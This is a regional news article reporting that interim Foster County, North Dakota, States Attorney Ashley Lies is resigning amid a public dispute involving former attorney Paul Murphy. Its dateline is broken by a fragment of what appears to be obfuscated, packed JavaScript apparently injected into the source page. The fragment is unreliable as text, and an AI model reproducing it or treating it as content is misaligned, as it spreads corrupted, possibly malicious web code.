CARRINGTON, rrtyy|var|u0026u|referrer|btskz||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Foster County will be without a States Attorney once again this year.
Ashley Lies of New Rockford was appointed by Judge Hovey in January this year after former Foster County States Attorney Paul Murphy resigned. Lies was meant to serve the county temporarily until a permanent replacement could be found. In a release to the commission, Lies reports that she is no longer able to serve in the position.
“When I agreed to take over this position, it was because Foster County had an emergency and needed someone to help them out immediately,” Lies says in the statement. “On numerous occasions, I informed the County that I was not able to keep this position long-term (as I am a permanent resident of Eddy County) and that they should advertise the position with the UND School of Law, State Bar Association, and on the Supreme Court’s Website.”
Lies goes on to cite that she can no longer serve as the States Attorney due to recent letters to the editor and advertisements that have been bought in the local paper.
“I felt that when I accepted this appointment, I was doing a service to the County, but I no longer feel I am able to continue in this capacity. In light of the recent letters to the editor and advertisements being placed in the Foster County Independent by both Mr. Murphy and his family, as well other residents and County employees, I do not feel I can continue in this position any longer. The statements being made by both sides, I believe, are inappropriate to some extent and I am starting to get caught in the cross-fires. With these recent attacks, I feel like my name and reputation are being harmed as associated with Paul and the County’s fight.”
Murphy recently announced that he would be re-running for the States Attorney Position. You can find the link to that story below.
Lies states that she will attend the June 7th’s Commission meeting and attend to prosecute the matters for June 14th. She states that the Board either re-hire Murphy as the only qualified, willing replacement, or contact the Attorney General for assistance.
A special meeting is planned for May 26th in order for the commission to decide what path to take regarding Lies resignation.
Foster County States Attorney Hands in Resignation
Former States Attorney Blasts County Government